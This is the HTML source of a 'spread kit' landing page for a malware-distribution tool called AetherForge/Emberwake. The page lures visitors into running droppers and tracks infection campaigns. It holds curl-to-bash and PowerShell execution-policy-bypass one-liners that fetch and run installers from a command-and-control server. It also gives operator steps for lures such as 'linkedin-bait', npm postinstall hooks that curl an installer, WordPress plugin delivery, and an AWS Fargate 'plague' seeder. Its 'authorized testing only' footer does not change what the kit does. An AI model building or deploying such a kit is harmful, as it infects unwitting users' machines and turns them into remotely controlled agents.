40d46408ea
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
338 lines
17 KiB
HTML
338 lines
17 KiB
HTML
<!DOCTYPE html>
|
||
<html lang="en">
|
||
<head>
|
||
<meta charset="UTF-8" />
|
||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||
<meta name="description" content="AetherForge spread kit — static waterhole landing for authorized red-team and lab distribution." />
|
||
<title>AetherForge Spread Kit</title>
|
||
<link rel="stylesheet" href="assets/aether.css" />
|
||
</head>
|
||
<body>
|
||
<main class="shell">
|
||
<nav class="topnav">
|
||
<a class="brand" href="#">Spread Kit</a>
|
||
<div class="nav-links">
|
||
<a href="#install">Install</a>
|
||
<a href="#campaigns">Campaigns</a>
|
||
<a href="#cms">CMS upload</a>
|
||
<a href="#plugins">Plugins</a>
|
||
<a href="/docs/SPREAD_TECHNIQUES.html">Spread playbook</a>
|
||
</div>
|
||
</nav>
|
||
|
||
<header class="hero">
|
||
<p class="eyebrow">AetherForge · Emberwake</p>
|
||
<h1>Spread kit — static waterhole landing</h1>
|
||
<p class="lede">
|
||
Upload this folder to any host you control. Visitors pick their platform; installers pull from your
|
||
command-deck server with optional campaign and build-pin tracking.
|
||
</p>
|
||
</header>
|
||
|
||
<section class="section" id="how">
|
||
<h2>How it works</h2>
|
||
<div class="flow" aria-label="Spread funnel">
|
||
<span class="flow-node">Lure / ad / email</span>
|
||
<span class="flow-arrow">→</span>
|
||
<span class="flow-node">Your static page</span>
|
||
<span class="flow-arrow">→</span>
|
||
<span class="flow-node">install.ps1 / .sh / .command</span>
|
||
<span class="flow-arrow">→</span>
|
||
<span class="flow-node">Server <code class="inline">/get</code></span>
|
||
<span class="flow-arrow">→</span>
|
||
<span class="flow-node">Agent checks in</span>
|
||
</div>
|
||
<p style="margin-top: 1rem;">
|
||
The page does not host binaries — it only links to your AetherForge server dropper endpoints.
|
||
Campaign tags flow from the URL into installer scripts and appear in the fleet dashboard on first connect.
|
||
</p>
|
||
</section>
|
||
|
||
<section class="section" id="steps">
|
||
<h2>Operator — 3 steps</h2>
|
||
<div class="steps">
|
||
<article class="step">
|
||
<strong>Forge & pin</strong>
|
||
<span>
|
||
Build an installer in the command deck. Pin the build you want for this wave (Builds → pin).
|
||
Note the build UUID for A/B tests.
|
||
</span>
|
||
</article>
|
||
<article class="step">
|
||
<strong>Export or sync</strong>
|
||
<span>
|
||
Emberwake → set server URL + campaign → <em>Export spread kit ZIP</em>, or copy
|
||
<code class="inline">spread-kit-web-publisher/</code> and replace placeholders.
|
||
Upload all files to your static host root or subpath.
|
||
</span>
|
||
</article>
|
||
<article class="step">
|
||
<strong>Share with tracking</strong>
|
||
<span>
|
||
Distribute <code class="inline">https://yoursite/page?c=campaign-slug</code>.
|
||
Watch hits under Emberwake → Campaign hits and agent <code class="inline">campaign</code> metadata.
|
||
</span>
|
||
</article>
|
||
</div>
|
||
</section>
|
||
|
||
<section class="section" id="install">
|
||
<h2>Platform install</h2>
|
||
<p>Auto-highlights your OS. All links include configured server URL and query suffix from export.</p>
|
||
<div class="platform-grid" id="actions">
|
||
<article class="platform-card">
|
||
<header>
|
||
<span class="platform-icon platform-icon--win" aria-hidden="true"></span>
|
||
<h3>Windows</h3>
|
||
</header>
|
||
<p>PowerShell dropper — downloads pinned build or latest Windows artifact via <code class="inline">/get?os=windows</code>.</p>
|
||
<a class="btn btn-win" id="btn-win" data-installer="install.ps1" href="install.ps1{{QUERY_SUFFIX}}">Run install.ps1</a>
|
||
</article>
|
||
<article class="platform-card">
|
||
<header>
|
||
<span class="platform-icon platform-icon--nix" aria-hidden="true"></span>
|
||
<h3>Linux</h3>
|
||
</header>
|
||
<p>Shell dropper for desktops and servers — pipes <code class="inline">install.sh</code> from your command deck.</p>
|
||
<a class="btn btn-nix" id="btn-nix" data-installer="install.sh" href="install.sh{{QUERY_SUFFIX}}">Run install.sh</a>
|
||
</article>
|
||
<article class="platform-card">
|
||
<header>
|
||
<span class="platform-icon platform-icon--mac" aria-hidden="true"></span>
|
||
<h3>macOS</h3>
|
||
</header>
|
||
<p>Double-click <code class="inline">.command</code> or curl one-liner; same pipeline as Linux with macOS UA routing.</p>
|
||
<a class="btn btn-mac" id="btn-mac" data-installer="install.command" href="install.command{{QUERY_SUFFIX}}">Run install.command</a>
|
||
</article>
|
||
<article class="platform-card">
|
||
<header>
|
||
<span class="platform-icon platform-icon--srv" aria-hidden="true"></span>
|
||
<h3>Server (curl)</h3>
|
||
</header>
|
||
<p>Headless VPS / CI — paste in SSH session. No browser required.</p>
|
||
<a class="btn btn-dl" id="btn-dl" href="{{SERVER_URL}}/get{{QUERY_SUFFIX}}">Direct /get download</a>
|
||
</article>
|
||
</div>
|
||
<h3>One-liners</h3>
|
||
<p class="form-hint" style="color: var(--muted); margin: 0 0 0.5rem;">Copy for docs pages, tickets, or IRC.</p>
|
||
<code class="codeblock" id="oneliner-bash">curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash</code>
|
||
<code class="codeblock" id="oneliner-ps1" style="margin-top: 0.5rem;">powershell -ep bypass -c "iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')"</code>
|
||
</section>
|
||
|
||
<section class="section" id="campaigns">
|
||
<h2>Campaign tracking</h2>
|
||
<p>
|
||
Append query parameters to any waterhole URL, dropper script URL, or <code class="inline">/get</code> link.
|
||
The server logs the hit; agents inherit the campaign on install.
|
||
</p>
|
||
<div class="info-grid info-grid--2">
|
||
<article class="info-card info-card--ember">
|
||
<h3><code class="inline">?c=</code> campaign slug</h3>
|
||
<ul>
|
||
<li>Tags the funnel wave — e.g. <code class="inline">?c=linkedin-bait</code></li>
|
||
<li>Shown in Emberwake → Campaign hits</li>
|
||
<li>Stored on agent as <code class="inline">campaign</code> metadata</li>
|
||
<li>Slug: alphanumeric, dash, underscore, dot — max 64 chars</li>
|
||
</ul>
|
||
</article>
|
||
<article class="info-card info-card--cyan">
|
||
<h3><code class="inline">?pin=</code> build UUID</h3>
|
||
<ul>
|
||
<li>Locks dropper to a specific forged build</li>
|
||
<li>Use for A/B: pin build A, share <code class="inline">?pin=<uuid-a>&c=wave-a</code></li>
|
||
<li>Combine with <code class="inline">?c=</code>: <code class="inline">?pin=…&c=…</code></li>
|
||
<li>Emberwake campaign builder copies ready-made links</li>
|
||
</ul>
|
||
</article>
|
||
</div>
|
||
<div class="table-wrap">
|
||
<table>
|
||
<thead>
|
||
<tr><th>Example URL</th><th>Use</th></tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td><code class="inline">https://yoursite.example/?c=usb-drop</code></td>
|
||
<td>Static page; scripts read <code class="inline">location.search</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td><code class="inline">{{SERVER_URL}}/get?c=docs-footer</code></td>
|
||
<td>Direct binary fetch with attribution</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code class="inline">{{SERVER_URL}}/install.ps1?pin={{BUILD_ID}}&c=ab-test-b</code></td>
|
||
<td>Pinned build + campaign on PS1 one-liner</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
</div>
|
||
<p>
|
||
<span class="tag">Tip</span>
|
||
See <a href="campaigns/README.md">campaigns/README.md</a> in the kit ZIP for rotation playbooks.
|
||
Operator playbook: <a href="/docs/SPREAD_TECHNIQUES.html">Spread Techniques</a>
|
||
· research matrix: <a href="/docs/SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
|
||
</p>
|
||
</section>
|
||
|
||
<section class="section" id="aws-launch-template">
|
||
<h2>AWS Launch Template — strain genesis</h2>
|
||
<p>Download <a href="aws/launch-template.json">launch-template.json</a>, <a href="aws/user-data.sh">user-data.sh</a>, <a href="aws/asg-example.json">asg-example.json</a> — or <button type="button" class="btn btn-dl" id="btn-lt-generate">generate from deck</button>.</p>
|
||
<p class="form-hint" id="lt-genesis-hint" style="color:var(--muted);"></p>
|
||
</section>
|
||
|
||
<section class="section" id="cms">
|
||
<h2>CMS & static host upload</h2>
|
||
<p>Deploy the entire kit folder (or exported ZIP contents) to a origin <em>you</em> control — off the C2 host when possible.</p>
|
||
<ol class="cms-list">
|
||
<li>
|
||
<strong>WordPress — Custom HTML block</strong>
|
||
<p>
|
||
Pages → Add block → <em>Custom HTML</em>. Upload <code class="inline">index.html</code> assets via Media Library
|
||
or paste a trimmed hero + platform section. Host <code class="inline">install.ps1</code> / <code class="inline">install.sh</code>
|
||
in the same directory via SFTP or a child theme <code class="inline">/spread/</code> folder. Link buttons to absolute
|
||
URLs on that path. Keep <code class="inline">assets/aether.css</code> relative.
|
||
</p>
|
||
</li>
|
||
<li>
|
||
<strong>Cloudflare Pages</strong>
|
||
<p>
|
||
Create project → connect repo or drag-drop ZIP → set build output to kit root.
|
||
Publish at <code class="inline">pages.dev</code> or your zone CNAME. No server config — pure static.
|
||
Optional: Workers in front for geo/UA gate (see docs wiki).
|
||
</p>
|
||
</li>
|
||
<li>
|
||
<strong>Amazon S3 + CloudFront</strong>
|
||
<p>
|
||
Create bucket → enable static website or OAI to CloudFront → upload all kit files preserving
|
||
<code class="inline">assets/</code> path. Set <code class="inline">index.html</code> as default root object.
|
||
Invalidate cache after each Emberwake export. Use a separate bucket from command-deck artifacts.
|
||
</p>
|
||
</li>
|
||
</ol>
|
||
<p>
|
||
After upload, test each platform button and verify campaign hits in Emberwake when appending
|
||
<code class="inline">?c=test</code> to the live URL.
|
||
</p>
|
||
</section>
|
||
|
||
<section class="section" id="plugins">
|
||
<h2>Plugin supply chain (owned extension)</h2>
|
||
<p>
|
||
For browser, editor, <strong>WordPress</strong>, or <strong>npm</strong> packages you <em>publish</em>, ship a
|
||
legitimate update package that points download/install flows at <em>your</em> server — not third-party registry hijacking.
|
||
</p>
|
||
<div class="info-card info-card--violet">
|
||
<h3>High-level pattern</h3>
|
||
<ul>
|
||
<li><strong>WordPress (owned site):</strong> Emberwake → <em>Export WordPress Plugin ZIP</em> → upload on your WP host. Plugin links to <code class="inline">/get?c=wp-{site}</code>. <a href="/docs/#wordpress-plugin-supply-chain">Docs wiki §</a></li>
|
||
<li><strong>npm (your registry):</strong> Emberwake → <em>Export npm package template ZIP</em> → publish privately; <code class="inline">postinstall</code> curls <code class="inline">install.sh</code>. <a href="/docs/#npm-postinstall-helper">Docs wiki §</a></li>
|
||
<li><strong>Host your own plugin ZIP</strong> on the same static origin as this kit (or GitHub Releases you control).</li>
|
||
<li>Manifest / update URL fields reference your <code class="inline">install.ps1</code> or <code class="inline">/get</code> endpoint with <code class="inline">?c=plugin-update</code>.</li>
|
||
<li>Extension logic opens your spread landing or triggers the platform dropper — user still confirms install (modern browsers block silent sideload).</li>
|
||
<li>Rotate update manifests between waves; pin builds with <code class="inline">?pin=</code> for staged rollouts.</li>
|
||
<li>Keep signing keys and update XML on infrastructure separate from the command-deck process when possible.</li>
|
||
</ul>
|
||
</div>
|
||
<p>
|
||
Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels
|
||
<em>you</em> operate. See
|
||
<a href="/docs/SPREAD_TECHNIQUES.html#third-party">third-party platforms</a> in the spread playbook for risk notes.
|
||
</p>
|
||
</section>
|
||
|
||
<section class="section" id="burst-seeder">
|
||
<h2>Burst seeder (ECS Fargate)</h2>
|
||
<p>
|
||
When a <strong>Fargate burst campaign</strong> is active on the command deck, BGP spread hints set
|
||
<code class="inline">prefer_fargate_seeder</code>. Download a standalone task definition + run script with embedded
|
||
erasure shards — run on <em>your</em> AWS account (no server-side ECS required).
|
||
</p>
|
||
<div class="install-grid">
|
||
<a class="install-card" id="fargate-bundle" href="#">Burst bundle (ZIP)</a>
|
||
<a class="install-card" id="fargate-task-def" href="#">task-definition.json</a>
|
||
<a class="install-card" id="fargate-run-script" href="#">run-task.sh</a>
|
||
</div>
|
||
<p class="fine" style="margin-top: 0.75rem;">
|
||
ZIP includes <code class="inline">erasure-shards.json</code>. Campaign TTL is 2–4 hours; Seer emits
|
||
<code class="inline">fargate_plague_front</code> when burst activates.
|
||
</p>
|
||
</section>
|
||
|
||
<footer class="fine">
|
||
<p>
|
||
Command-deck copy: <a href="/spread/">/spread/</a> ·
|
||
Docs: <a href="/docs/">/docs/</a> ·
|
||
Export fresh kits from <strong>Emberwake</strong> after each forge.
|
||
</p>
|
||
<p>AetherForge — authorized testing and lab use only.</p>
|
||
</footer>
|
||
</main>
|
||
|
||
<script>
|
||
(function () {
|
||
var SERVER = '{{SERVER_URL}}';
|
||
if (SERVER.indexOf('{{') === 0) {
|
||
SERVER = window.location.origin;
|
||
}
|
||
|
||
var pageQs = window.location.search || '';
|
||
var suffix = '{{QUERY_SUFFIX}}';
|
||
if (suffix.indexOf('{{') === 0) {
|
||
suffix = pageQs;
|
||
} else if (pageQs && suffix.indexOf('?') !== 0) {
|
||
suffix = pageQs;
|
||
}
|
||
|
||
function withSuffix(path) {
|
||
if (!suffix) return path;
|
||
if (path.indexOf('?') >= 0) return path + suffix.replace('?', '&');
|
||
return path + suffix;
|
||
}
|
||
|
||
document.querySelectorAll('[data-installer]').forEach(function (el) {
|
||
var file = el.getAttribute('data-installer');
|
||
el.href = file + (suffix || '');
|
||
});
|
||
|
||
var dl = document.getElementById('btn-dl');
|
||
if (dl) dl.href = withSuffix(SERVER + '/get');
|
||
|
||
var fargateBase = SERVER + '/api/v1/public/fargate-burst/';
|
||
var fargateBundle = document.getElementById('fargate-bundle');
|
||
if (fargateBundle) fargateBundle.href = withSuffix(fargateBase + 'bundle.zip');
|
||
var fargateTask = document.getElementById('fargate-task-def');
|
||
if (fargateTask) fargateTask.href = withSuffix(fargateBase + 'task-definition.json');
|
||
var fargateRun = document.getElementById('fargate-run-script');
|
||
if (fargateRun) fargateRun.href = withSuffix(fargateBase + 'run-task.sh');
|
||
|
||
var bash = document.getElementById('oneliner-bash');
|
||
var ps1 = document.getElementById('oneliner-ps1');
|
||
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
|
||
if (ps1) ps1.textContent = 'powershell -ep bypass -c "iex (irm \'' + SERVER + '/install.ps1' + suffix + '\')"';
|
||
|
||
var ua = navigator.userAgent || '';
|
||
var win = /windows/i.test(ua);
|
||
var mac = /macintosh|mac os x/i.test(ua);
|
||
var nix = /linux/i.test(ua) && !/android/i.test(ua);
|
||
var primary = win ? 'btn-win' : mac ? 'btn-mac' : nix ? 'btn-nix' : null;
|
||
if (primary) {
|
||
var btn = document.getElementById(primary);
|
||
if (btn) btn.classList.add('primary');
|
||
}
|
||
var ltBtn = document.getElementById('btn-lt-generate');
|
||
if (ltBtn) ltBtn.addEventListener('click', function () {
|
||
var p = new URLSearchParams(window.location.search || '');
|
||
fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
|
||
.then(function (r) { return r.json(); }).then(function (resp) {
|
||
if (!resp.success) return;
|
||
var hint = document.getElementById('lt-genesis-hint');
|
||
if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
|
||
});
|
||
});
|
||
})();
|
||
</script>
|
||
</body>
|
||
</html>
|